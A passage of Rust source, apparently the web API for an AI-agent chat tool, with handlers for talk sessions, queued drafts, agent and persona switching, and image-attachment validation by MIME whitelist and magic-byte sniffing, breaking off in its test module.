5862
5863#[derive(Debug, Serialize)]
5869struct TalkView {
5870 #[serde(flatten)]
5871 talk: Talk,
5872 turn_bodies_md: Vec<Vec<md::Node>>,
5873 thinking: bool,
5881 context: talk::ContextUsage,
5885}
5886
5887impl TalkView {
5888 fn new(talk: Talk, thinking: bool) -> Self {
5891 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
5892 Self::with_config(talk, thinking, cfg.as_ref())
5893 }
5894
5895 fn with_config(talk: Talk, thinking: bool, cfg: Option<&Config>) -> Self {
5898 let context = talk::context_usage(&talk, cfg);
5899 let turn_bodies_md = talk
5900 .turns
5901 .iter()
5902 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
5903 .collect();
5904 Self {
5905 turn_bodies_md,
5906 thinking,
5907 context,
5908 talk,
5909 }
5910 }
5911}
5912
5913#[derive(Debug, Serialize)]
5918struct TalkDetailView {
5919 #[serde(flatten)]
5920 view: TalkView,
5921 tasks: Vec<TaskView>,
5922 roster: Vec<RosterEntry>,
5925 personas: Vec<PersonaEntry>,
5928}
5929
5930#[derive(Debug, Serialize)]
5932struct PersonaEntry {
5933 id: String,
5934 name: String,
5935}
5936
5937#[derive(Debug, Serialize)]
5939struct RosterEntry {
5940 id: String,
5941 kind: AgentKind,
5942 runnable: bool,
5944}
5945
5946async fn talks_list(
5951 State(ui): State<Arc<Ui>>,
5952 Query(q): Query<ListQuery>,
5953) -> ApiResult<Json<Vec<TalkView>>> {
5954 blocking(move || {
5955 let mut configs: HashMap<PathBuf, Option<Config>> = HashMap::new();
5956 Ok(Json(
5957 ui.talks
5958 .list()
5959 .into_iter()
5960 .filter(|talk| q.contains(&talk.id))
5961 .map(|talk| {
5962 let thinking = ui.is_thinking(&talk.id);
5963 let cfg = configs
5964 .entry(talk.repo.clone())
5965 .or_insert_with(|| Config::discover(&talk.repo, None).ok().map(|(c, _)| c));
5966 TalkView::with_config(talk, thinking, cfg.as_ref())
5967 })
5968 .collect(),
5969 ))
5970 })
5971 .await
5972}
5973
5974#[derive(Debug, Default, Deserialize)]
5979#[serde(default)]
5980struct NewTalk {
5981 agent: Option<String>,
5982 repo: Option<PathBuf>,
5983}
5984
5985async fn talk_post(
5988 State(ui): State<Arc<Ui>>,
5989 body: std::result::Result<Json<NewTalk>, JsonRejection>,
5990) -> ApiResult<impl IntoResponse> {
5991 let body = match body {
5995 Ok(Json(body)) => body,
5996 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
5997 Err(e) => return Err(ApiError::bad_request(e.body_text())),
5998 };
5999 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
6000 let cfg = config_for(&repo).await?;
6001 let view = blocking(move || {
6002 let talk = talk::begin(&ui.talks, &cfg, repo, body.agent.as_deref())?;
6003 let thinking = ui.is_thinking(&talk.id);
6004 Ok(TalkView::new(talk, thinking))
6005 })
6006 .await?;
6007 Ok((StatusCode::CREATED, Json(view)))
6008}
6009
6010async fn talk_detail(
6012 State(ui): State<Arc<Ui>>,
6013 Path(id): Path<String>,
6014) -> ApiResult<Json<TalkDetailView>> {
6015 blocking(move || {
6016 let id = resolve_talk(&ui.talks, &id)?;
6017 let talk = ui.talks.get(&id)?;
6018 let thinking = ui.is_thinking(&talk.id);
6019 let tasks = talk::tasks_of(&ui.queue, &talk.id)
6020 .into_iter()
6021 .map(TaskView::from)
6022 .collect();
6023 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
6024 let roster = cfg
6025 .as_ref()
6026 .map(|cfg| {
6027 cfg.agents
6028 .iter()
6029 .map(|a| RosterEntry {
6030 id: a.id.clone(),
6031 kind: a.kind,
6032 runnable: agent::installed(a),
6033 })
6034 .collect()
6035 })
6036 .unwrap_or_default();
6037 let specs = cfg
6038 .as_ref()
6039 .map(|cfg| cfg.talk.personas.clone())
6040 .unwrap_or_default();
6041 let personas = persona::catalog(&specs)
6042 .into_iter()
6043 .map(|p| PersonaEntry {
6044 id: p.id,
6045 name: p.name,
6046 })
6047 .collect();
6048 Ok(Json(TalkDetailView {
6049 view: TalkView::with_config(talk, thinking, cfg.as_ref()),
6050 tasks,
6051 roster,
6052 personas,
6053 }))
6054 })
6055 .await
6056}
6057
6058#[derive(Debug, Default, Deserialize)]
6064#[serde(default, deny_unknown_fields)]
6065struct NewTalkTurn {
6066 text: String,
6067 attachments: Vec<String>,
6068}
6069
6070#[derive(Debug, Deserialize)]
6071#[serde(deny_unknown_fields)]
6072struct EditTalkPending {
6073 text: String,
6074 expected_text: String,
6075 expected_attachments: Vec<String>,
6076}
6077
6078#[derive(Debug, Deserialize)]
6079#[serde(deny_unknown_fields)]
6080struct ClearTalkPending {
6081 expected_text: String,
6082 expected_attachments: Vec<String>,
6083}
6084
6085async fn talk_say(
6097 State(ui): State<Arc<Ui>>,
6098 Path(id): Path<String>,
6099 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
6100) -> ApiResult<(StatusCode, Json<TalkView>)> {
6101 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6102 if body.text.trim().is_empty() && body.attachments.is_empty() {
6103 return Err(ApiError::bad_request("say something"));
6104 }
6105
6106 let id = {
6107 let ui = Arc::clone(&ui);
6108 let asked = id.clone();
6109 blocking(move || resolve_talk(&ui.talks, &asked)).await?
6110 };
6111 {
6115 let ui = Arc::clone(&ui);
6116 let id = id.clone();
6117 blocking(move || {
6118 let talk = ui.talks.get(&id)?;
6119 if !talk.status.open() {
6120 return Err(ApiError::conflict(format!(
6121 "talk {} is {} and takes no more turns",
6122 talk.short(),
6123 talk.status.as_str()
6124 )));
6125 }
6126 Ok(())
6127 })
6128 .await?;
6129 }
6130
6131 let attachments = {
6136 let ui = Arc::clone(&ui);
6137 let id = id.clone();
6138 let ids = body.attachments.clone();
6139 blocking(move || {
6140 ids.into_iter()
6141 .map(|att_id| {
6142 ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
6143 ApiError::bad_request(format!("unknown attachment `{att_id}`"))
6144 })
6145 })
6146 .collect::<ApiResult<Vec<talk::Attachment>>>()
6147 })
6148 .await?
6149 };
6150
6151 let start = {
6156 let ui = Arc::clone(&ui);
6157 let id = id.clone();
6158 blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
6159 };
6160 let turn_guard = match start {
6161 TalkTurnStart::Claimed(turn_guard) => turn_guard,
6162 TalkTurnStart::Pending => {
6163 return Err(ApiError::conflict(
6164 "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
6165 ));
6166 }
6167 TalkTurnStart::Foreign => {
6168 return Err(ApiError::conflict(
6169 "a turn is already running in another process; try again when it has finished",
6170 ));
6171 }
6172 TalkTurnStart::Busy => {
6173 let (tx, rx) = tokio::sync::oneshot::channel();
6189 tokio::spawn({
6190 let ui = Arc::clone(&ui);
6191 let id = id.clone();
6192 let said = body.text.clone();
6193 async move {
6194 let written = blocking({
6195 let ui = Arc::clone(&ui);
6196 let id = id.clone();
6197 move || {
6198 let mut talk = ui.talks.get(&id)?;
6199 #[cfg(test)]
6204 if let Some(gate) = ui
6205 .busy_queue_gate
6206 .lock()
6207 .unwrap_or_else(PoisonError::into_inner)
6208 .take()
6209 {
6210 let _ = gate.reached.send(());
6211 let _ = gate.release.recv();
6212 }
6213 if let Err(error) =
6214 talk::queue(&mut talk, &ui.talks, &said, attachments)
6215 {
6216 if let Ok(fresh) = ui.talks.get(&id) {
6217 if !fresh.status.open() {
6218 return Err(ApiError::conflict(format!(
6219 "talk {} is {} and takes no more turns",
6220 fresh.short(),
6221 fresh.status.as_str()
6222 )));
6223 }
6224 }
6225 return Err(ApiError::from(error));
6226 }
6227 let claim = match ui.begin_queued_talk_turn(&id)? {
6238 Some(turn_guard) => {
6239 let (cfg, _) = Config::discover(&talk.repo, None)?;
6240 Some((talk.clone(), cfg, turn_guard))
6241 }
6242 None => None,
6243 };
6244 let thinking = ui.is_thinking(&id);
6245 Ok((TalkView::new(talk, thinking), claim))
6246 }
6247 })
6248 .await;
6249 let (view, reclaimed) = match written {
6250 Ok(pair) => pair,
6251 Err(e) => {
6252 let _ = tx.send(Err(e));
6257 return;
6258 }
6259 };
6260 let _ = tx.send(Ok(view));
6263 if let Some((talk, cfg, turn_guard)) = reclaimed {
6264 let talks = ui.talks.clone();
6265 drain_loop(talk, talks, cfg, id, turn_guard).await;
6266 }
6267 }
6268 });
6269 let view = rx
6270 .await
6271 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
6272 return Ok((StatusCode::ACCEPTED, Json(view)));
6273 }
6274 };
6275
6276 let (talk, cfg) = {
6277 let ui = Arc::clone(&ui);
6278 let id = id.clone();
6279 blocking(move || {
6280 let talk = ui.talks.get(&id)?;
6281 let (cfg, _) = Config::discover(&talk.repo, None)?;
6282 Ok((talk, cfg))
6283 })
6284 .await?
6285 };
6286
6287 let talks = ui.talks.clone();
6288 let (tx, rx) = tokio::sync::oneshot::channel();
6303 tokio::spawn({
6304 let ui = Arc::clone(&ui);
6305 let talks = talks.clone();
6306 let id = id.clone();
6307 let said = body.text.clone();
6308 let mut talk = talk.clone();
6309 async move {
6310 let recorded = blocking({
6311 let talks = talks.clone();
6312 move || {
6313 if let Err(error) = talk::record(&mut talk, &talks, &said, attachments) {
6314 if let Ok(fresh) = talks.get(&talk.id) {
6315 if !fresh.status.open() {
6316 return Err(ApiError::conflict(format!(
6317 "talk {} is {} and takes no more turns",
6318 fresh.short(),
6319 fresh.status.as_str()
6320 )));
6321 }
6322 }
6323 return Err(ApiError::from(error));
6324 }
6325 Ok((said.trim().to_owned(), talk))
6331 }
6332 })
6333 .await;
6334 let (text, mut talk) = match recorded {
6335 Ok(pair) => pair,
6336 Err(e) => {
6337 let _ = tx.send(Err(e));
6341 return;
6342 }
6343 };
6344 let queued = talk.clone();
6345 let thinking = ui.is_thinking(&id);
6346 let _ = tx.send(Ok((queued, thinking)));
6349
6350 if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
6351 tracing::warn!("talk {id} turn failed: {e:#}");
6355 }
6356 drain_loop(talk, talks, cfg, id, turn_guard).await;
6359 }
6360 });
6361
6362 let (queued, thinking) = rx
6363 .await
6364 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
6365
6366 Ok((StatusCode::ACCEPTED, Json(TalkView::new(queued, thinking))))
6368}
6369
6370async fn talk_pending_resume(
6374 State(ui): State<Arc<Ui>>,
6375 Path(id): Path<String>,
6376) -> ApiResult<(StatusCode, Json<TalkView>)> {
6377 let id = {
6378 let ui = Arc::clone(&ui);
6379 let asked = id.clone();
6380 blocking(move || resolve_talk(&ui.talks, &asked)).await?
6381 };
6382 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
6383 return Err(ApiError::conflict(
6384 "a talk turn is already running; the queued draft will be handled by it",
6385 ));
6386 };
6387 let (talk, cfg) = {
6388 let ui = Arc::clone(&ui);
6389 let id = id.clone();
6390 blocking(move || {
6391 let talk = ui.talks.get(&id)?;
6392 if !talk.status.open() {
6393 return Err(ApiError::conflict(format!(
6394 "talk {} is {} and takes no more turns",
6395 talk.short(),
6396 talk.status.as_str()
6397 )));
6398 }
6399 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
6400 return Err(ApiError::conflict("there is no queued draft to resume"));
6401 }
6402 let (cfg, _) = Config::discover(&talk.repo, None)?;
6403 Ok((talk, cfg))
6404 })
6405 .await?
6406 };
6407 let view = TalkView::new(talk.clone(), true);
6408 let talks = ui.talks.clone();
6409 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6410 Ok((StatusCode::ACCEPTED, Json(view)))
6411}
6412
6413async fn drain_loop(mut talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
6429 let live_set = Arc::clone(&turn.turns);
6430 let mut turn = Some(turn);
6438 loop {
6439 if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
6440 tracing::warn!("talk {id} lost its turn lease; not draining further");
6443 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6444 if let Some(turn) = turn.take() {
6445 turn.release(&mut live);
6446 }
6447 break;
6448 }
6449 let observed = live_set
6453 .lock()
6454 .unwrap_or_else(PoisonError::into_inner)
6455 .queued
6456 .get(&id)
6457 .copied()
6458 .unwrap_or(0);
6459 let drained = blocking({
6460 let talks = talks.clone();
6461 move || {
6462 let result = talk::drain(&mut talk, &talks);
6463 Ok((talk, result))
6464 }
6465 })
6466 .await;
6467 let (next_talk, result) = match drained {
6468 Ok(drained) => drained,
6469 Err(e) => {
6470 tracing::warn!(
6471 status = %e.status,
6472 message = %e.message,
6473 "talk {id} could not start queued-text drain"
6474 );
6475 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6476 turn.take()
6477 .expect("held for the whole loop until released here")
6478 .release(&mut live);
6479 break;
6480 }
6481 };
6482 talk = next_talk;
6483 let drained = match result {
6484 Ok(Some(drained)) => drained,
6485 Ok(None) => {
6486 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6487 if live.queued.get(&id).copied().unwrap_or(0) != observed {
6488 continue;
6489 }
6490 turn.take()
6491 .expect("held for the whole loop until released here")
6492 .release(&mut live);
6493 break;
6494 }
6495 Err(e) => {
6496 tracing::warn!("talk {id} could not drain queued text: {e:#}");
6497 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6498 turn.take()
6499 .expect("held for the whole loop until released here")
6500 .release(&mut live);
6501 break;
6502 }
6503 };
6504 let responded = match turn.as_ref() {
6505 Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
6506 None => talk::respond(&mut talk, &talks, &cfg, &drained).await,
6507 };
6508 if let Err(e) = responded {
6509 tracing::warn!("talk {id} turn failed: {e:#}");
6510 }
6511 }
6512}
6513
6514async fn talk_pending_clear(
6516 State(ui): State<Arc<Ui>>,
6517 Path(id): Path<String>,
6518 body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
6519) -> ApiResult<Json<TalkView>> {
6520 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6521 blocking(move || {
6522 let id = resolve_talk(&ui.talks, &id)?;
6523 let mut talk = ui.talks.get(&id)?;
6524 if !talk.status.open() {
6525 return Err(ApiError::conflict(format!(
6526 "talk {} is {} and takes no more turns",
6527 talk.short(),
6528 talk.status.as_str()
6529 )));
6530 }
6531 if !talk::clear_pending_if_matches(
6532 &mut talk,
6533 &ui.talks,
6534 &body.expected_text,
6535 &body.expected_attachments,
6536 )? {
6537 return Err(ApiError::conflict(
6538 "queued message changed; reload it before clearing",
6539 ));
6540 }
6541 let thinking = ui.is_thinking(&talk.id);
6542 Ok(Json(TalkView::new(talk, thinking)))
6543 })
6544 .await
6545}
6546
6547async fn talk_pending_edit(
6551 State(ui): State<Arc<Ui>>,
6552 Path(id): Path<String>,
6553 body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
6554) -> ApiResult<Json<TalkView>> {
6555 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6556 let (view, reclaimed) = blocking({
6557 let ui = Arc::clone(&ui);
6558 move || {
6559 let id = resolve_talk(&ui.talks, &id)?;
6560 let mut talk = ui.talks.get(&id)?;
6561 if !talk.status.open() {
6562 return Err(ApiError::conflict(format!(
6563 "talk {} is {} and takes no more turns",
6564 talk.short(),
6565 talk.status.as_str()
6566 )));
6567 }
6568 if !talk::edit_pending_text(
6569 &mut talk,
6570 &ui.talks,
6571 &body.text,
6572 &body.expected_text,
6573 &body.expected_attachments,
6574 )? {
6575 return Err(ApiError::conflict(
6576 "queued message changed; reload it before editing",
6577 ));
6578 }
6579 let claim = match ui.begin_queued_talk_turn(&id)? {
6580 Some(turn_guard) => {
6581 let (cfg, _) = Config::discover(&talk.repo, None)?;
6582 Some((talk.clone(), cfg, id.clone(), turn_guard))
6583 }
6584 None => None,
6585 };
6586 let thinking = ui.is_thinking(&id);
6587 Ok((TalkView::new(talk, thinking), claim))
6588 }
6589 })
6590 .await?;
6591 if let Some((talk, cfg, id, turn_guard)) = reclaimed {
6592 let talks = ui.talks.clone();
6593 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6594 }
6595 Ok(Json(view))
6596}
6597
6598#[derive(Debug, Deserialize)]
6600struct TalkAgent {
6601 agent: String,
6602}
6603
6604async fn talk_agent(
6609 State(ui): State<Arc<Ui>>,
6610 Path(id): Path<String>,
6611 Json(body): Json<TalkAgent>,
6612) -> ApiResult<Json<TalkView>> {
6613 let id = {
6614 let ui = Arc::clone(&ui);
6615 blocking(move || resolve_talk(&ui.talks, &id)).await?
6616 };
6617 let repo = {
6618 let ui = Arc::clone(&ui);
6619 let id = id.clone();
6620 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
6621 };
6622 let cfg = config_for(&repo).await?;
6623 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
6624 return Err(ApiError::conflict(
6625 "a talk turn is running; change the agent once it has answered",
6626 ));
6627 };
6628 let switched = {
6629 let ui = Arc::clone(&ui);
6630 let id = id.clone();
6631 let cfg = cfg.clone();
6632 blocking(move || {
6633 let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
6634 .map_err(ApiError::bad_request_from)?;
6635 let mut talk = ui.talks.get(&id)?;
6636 if !talk.status.open() {
6637 return Err(ApiError::conflict(format!(
6638 "talk {} is {} and takes no more turns",
6639 talk.short(),
6640 talk.status.as_str()
6641 )));
6642 }
6643 talk::switch_agent(&mut talk, &ui.talks, &spec)?;
6644 Ok(talk)
6645 })
6646 .await
6647 };
6648 let fresh = {
6653 let ui = Arc::clone(&ui);
6654 let id = id.clone();
6655 blocking(move || Ok(ui.talks.get(&id)?)).await
6656 };
6657 let draining = match fresh {
6658 Ok(talk) => {
6659 let draining = talk.status.open()
6660 && (!talk.pending.is_empty() || !talk.pending_attachments.is_empty());
6661 let talks = ui.talks.clone();
6662 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6663 draining
6664 }
6665 Err(_) => false,
6666 };
6667 let talk = switched?;
6668 Ok(Json(TalkView::new(talk, draining)))
6669}
6670
6671#[derive(Debug, Deserialize)]
6673struct TalkPersona {
6674 persona: String,
6675}
6676
6677async fn talk_persona(
6681 State(ui): State<Arc<Ui>>,
6682 Path(id): Path<String>,
6683 Json(body): Json<TalkPersona>,
6684) -> ApiResult<Json<TalkView>> {
6685 let id = {
6686 let ui = Arc::clone(&ui);
6687 blocking(move || resolve_talk(&ui.talks, &id)).await?
6688 };
6689 let repo = {
6690 let ui = Arc::clone(&ui);
6691 let id = id.clone();
6692 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
6693 };
6694 let cfg = config_for(&repo).await?;
6695 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
6696 return Err(ApiError::conflict(
6697 "a talk turn is running; change the persona once it has answered",
6698 ));
6699 };
6700 let switched = {
6701 let ui = Arc::clone(&ui);
6702 let id = id.clone();
6703 let cfg = cfg.clone();
6704 blocking(move || {
6705 let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
6706 return Err(ApiError::bad_request(format!(
6707 "unknown persona `{}`",
6708 body.persona
6709 )));
6710 };
6711 let mut talk = ui.talks.get(&id)?;
6712 if !talk.status.open() {
6713 return Err(ApiError::conflict(format!(
6714 "talk {} is {} and takes no more turns",
6715 talk.short(),
6716 talk.status.as_str()
6717 )));
6718 }
6719 talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
6720 Ok(talk)
6721 })
6722 .await
6723 };
6724 let fresh = {
6726 let ui = Arc::clone(&ui);
6727 let id = id.clone();
6728 blocking(move || Ok(ui.talks.get(&id)?)).await
6729 };
6730 let draining = match fresh {
6731 Ok(talk) => {
6732 let draining = talk.status.open()
6733 && (!talk.pending.is_empty() || !talk.pending_attachments.is_empty());
6734 let talks = ui.talks.clone();
6735 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6736 draining
6737 }
6738 Err(_) => false,
6739 };
6740 let talk = switched?;
6741 Ok(Json(TalkView::new(talk, draining)))
6742}
6743
6744async fn talk_close(
6746 State(ui): State<Arc<Ui>>,
6747 Path(id): Path<String>,
6748) -> ApiResult<Json<TalkView>> {
6749 blocking(move || {
6750 let id = resolve_talk(&ui.talks, &id)?;
6751 let mut talk = ui.talks.get(&id)?;
6752 talk::close(&mut talk, &ui.talks)?;
6753 let thinking = ui.is_thinking(&talk.id);
6754 Ok(Json(TalkView::new(talk, thinking)))
6755 })
6756 .await
6757}
6758
6759async fn talk_reopen(
6761 State(ui): State<Arc<Ui>>,
6762 Path(id): Path<String>,
6763) -> ApiResult<Json<TalkView>> {
6764 blocking(move || {
6765 let id = resolve_talk(&ui.talks, &id)?;
6766 let mut talk = ui.talks.get(&id)?;
6767 talk::reopen(&mut talk, &ui.talks)?;
6768 let thinking = ui.is_thinking(&talk.id);
6769 Ok(Json(TalkView::new(talk, thinking)))
6770 })
6771 .await
6772}
6773
6774async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
6784 blocking(move || {
6785 let id = resolve_talk(&ui.talks, &id)?;
6786 ui.talks.remove(&id)?;
6787 Ok(StatusCode::NO_CONTENT)
6788 })
6789 .await
6790}
6791
6792fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
6794 pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
6795}
6796
6797async fn talk_attachment_post(
6800 State(ui): State<Arc<Ui>>,
6801 Path(id): Path<String>,
6802 headers: HeaderMap,
6803 body: Bytes,
6804) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
6805 let mime = validate_attachment(&headers, &body)?;
6806 let name = filename_header(&headers);
6807 let data = body.to_vec();
6808 blocking(move || {
6809 let id = resolve_talk(&ui.talks, &id)?;
6810 let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
6811 Ok((StatusCode::CREATED, Json(att)))
6812 })
6813 .await
6814}
6815
6816async fn talk_attachment_get(
6819 State(ui): State<Arc<Ui>>,
6820 Path((id, att)): Path<(String, String)>,
6821) -> ApiResult<Response> {
6822 blocking(move || {
6823 let id = resolve_talk(&ui.talks, &id)?;
6824 let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
6825 return Err(ApiError::not_found(format!(
6826 "talk {id} has no attachment `{att}`"
6827 )));
6828 };
6829 Ok(attachment_response(&meta.mime, data))
6830 })
6831 .await
6832}
6833
6834fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
6845 if data.len() > ATTACHMENT_MAX_BYTES {
6846 return Err(ApiError::bad_request(format!(
6847 "attachment is {} bytes, over the {} MiB limit",
6848 data.len(),
6849 ATTACHMENT_MAX_BYTES / (1024 * 1024)
6850 ))
6851 .with_status(StatusCode::PAYLOAD_TOO_LARGE));
6852 }
6853 if data.is_empty() {
6854 return Err(ApiError::bad_request("attachment is empty"));
6855 }
6856 let declared = declared_mime(headers)?;
6857 match sniffed_mime(data) {
6858 Some(sniffed) if sniffed == declared => Ok(declared),
6859 Some(sniffed) => Err(ApiError::bad_request(format!(
6860 "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
6861 ))),
6862 None => Err(ApiError::bad_request(
6863 "the file's bytes do not match any accepted image format",
6864 )),
6865 }
6866}
6867
6868fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
6872 let raw = headers
6873 .get(header::CONTENT_TYPE)
6874 .and_then(|v| v.to_str().ok())
6875 .unwrap_or("")
6876 .split(';')
6877 .next()
6878 .unwrap_or("")
6879 .trim()
6880 .to_ascii_lowercase();
6881 ATTACHMENT_MIME_WHITELIST
6882 .iter()
6883 .find(|&&m| m == raw)
6884 .copied()
6885 .ok_or_else(|| {
6886 if raw == "image/svg+xml" {
6887 ApiError::bad_request(
6888 "SVG is not accepted: it can carry active content (e.g. a <script>), \
6889 not just a picture",
6890 )
6891 } else if raw.is_empty() {
6892 ApiError::bad_request("Content-Type is required for an attachment upload")
6893 } else {
6894 ApiError::bad_request(format!(
6895 "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
6896 image/gif or image/webp"
6897 ))
6898 }
6899 })
6900}
6901
6902fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
6905 if data.starts_with(b"\x89PNG\r\n\x1a\n") {
6906 Some("image/png")
6907 } else if data.starts_with(b"\xff\xd8\xff") {
6908 Some("image/jpeg")
6909 } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
6910 Some("image/gif")
6911 } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
6912 Some("image/webp")
6913 } else {
6914 None
6915 }
6916}
6917
6918fn filename_header(headers: &HeaderMap) -> String {
6924 headers
6925 .get(FILENAME_HEADER)
6926 .and_then(|v| v.to_str().ok())
6927 .map(str::trim)
6928 .filter(|s| !s.is_empty())
6929 .unwrap_or("attachment")
6930 .to_owned()
6931}
6932
6933fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
6940 let content_type = ATTACHMENT_MIME_WHITELIST
6941 .iter()
6942 .find(|&&m| m == mime)
6943 .copied()
6944 .unwrap_or("application/octet-stream");
6945 (
6946 [
6947 (header::CONTENT_TYPE, content_type),
6948 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
6949 ],
6950 body,
6951 )
6952 .into_response()
6953}
6954
6955async fn config_for(repo: &FsPath) -> ApiResult<Config> {
6963 let repo = repo.to_path_buf();
6964 blocking(move || {
6965 let (cfg, _) = Config::discover(&repo, None)?;
6966 Ok(cfg)
6967 })
6968 .await
6969}
6970
6971fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
6977 let mut hits = ids
6978 .into_iter()
6979 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
6980 match (hits.next(), hits.next()) {
6981 (Some(one), None) => Ok(one),
6982 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
6983 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
6984 "`{prefix}` matches more than one {what}, including {a} and {b}"
6985 ))),
6986 }
6987}
6988
6989#[cfg(test)]
6990mod tests {
6991
6992 #[test]
6993 fn holder_reads_the_lease_not_the_record() {
6994 let mut q = Question::new(
6995 "run".to_owned(),
6996 "implement".to_owned(),
6997 "impl-A".to_owned(),
6998 "which?".to_owned(),
6999 String::new(),
7000 Vec::new(),
7001 );
7002 assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
7003 q.cwd = Some("/tmp".to_owned());
7004 assert_eq!(holder_of(&q, None), Some("nobody"));
7005 let beat = |kind, ago: i64| ask::Lease {
7006 kind,
7007 pid: 1,
7008 beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
7009 .unwrap(),
7010 };
7011 let fresh = beat(ask::WaiterKind::Asker, 1);
7012 assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
7013 let daemon = beat(ask::WaiterKind::Daemon, 1);
7014 assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
7015 let stale = beat(ask::WaiterKind::Asker, 3600);
7016 assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
7017
7018 let mut c = Question::new(
7021 "task".to_owned(),
7022 crate::conduct::NODE.to_owned(),
7023 "conduct".to_owned(),
7024 "which?".to_owned(),
7025 String::new(),
7026 Vec::new(),
7027 );
7028 assert_eq!(holder_of(&c, None), Some("nobody"));
7029 c.cwd = Some("/tmp".to_owned());
7030 c.deputy = Some(ask::Deputy::new("brief".to_owned()));
7031 assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
7032 let deputy = beat(ask::WaiterKind::Deputy, 1);
7033 assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
7034 assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
7035
7036 let mut r = Question::new(
7038 String::new(),
7039 crate::bump::NOTICE_NODE.to_owned(),
7040 "release-watch".to_owned(),
7041 "stuck?".to_owned(),
7042 String::new(),
7043 vec!["hold".to_owned()],
7044 );
7045 assert_eq!(holder_of(&r, None), Some("nobody"));
7046 r.deputy = Some(ask::Deputy::new("brief".to_owned()));
7047 assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
7048 r.deputy = None;
7050 r.seat = "bump".to_owned();
7051 assert_eq!(holder_of(&r, None), None);
7052
7053 let mut m = Question::new(
7056 "run".to_owned(),
7057 crate::land::APPROVAL_NODE.to_owned(),
7058 "land".to_owned(),
7059 "merge?".to_owned(),
7060 String::new(),
7061 Vec::new(),
7062 );
7063 assert_eq!(holder_of(&m, None), Some("nobody"));
7064 assert_eq!(
7065 holder_of(&m, Some(&fresh)),
7066 Some("nobody"),
7067 "a lease with no deputy is not a listener"
7068 );
7069 m.deputy = Some(ask::Deputy::new("brief".to_owned()));
7070 assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
7071 assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
7072 assert_eq!(holder_of(&m, None), Some("nobody"));
7073 }
7074
7075 fn stub_config() -> Config {
7076 Config {
7079 agents: vec![crate::config::AgentSpec {
7080 id: "stub".to_owned(),
7081 kind: AgentKind::Command,
7082 model: None,
7083 command: vec!["true".to_owned()],
7084 extra_args: Vec::new(),
7085 env: Default::default(),
7086 prompt_delivery: None,
7087 }],
7088 ..Config::default()
7089 }
7090 }
7091
7092 fn plain_question(seat: &str) -> Question {
7093 Question::new(
7094 String::new(),
7095 "n".to_owned(),
7096 seat.to_owned(),
7097 "s".to_owned(),
7098 String::new(),
7099 Vec::new(),
7100 )
7101 }
7102
7103 #[test]
7104 fn deputies_enabled_follows_the_config() {
7105 let on = stub_config();
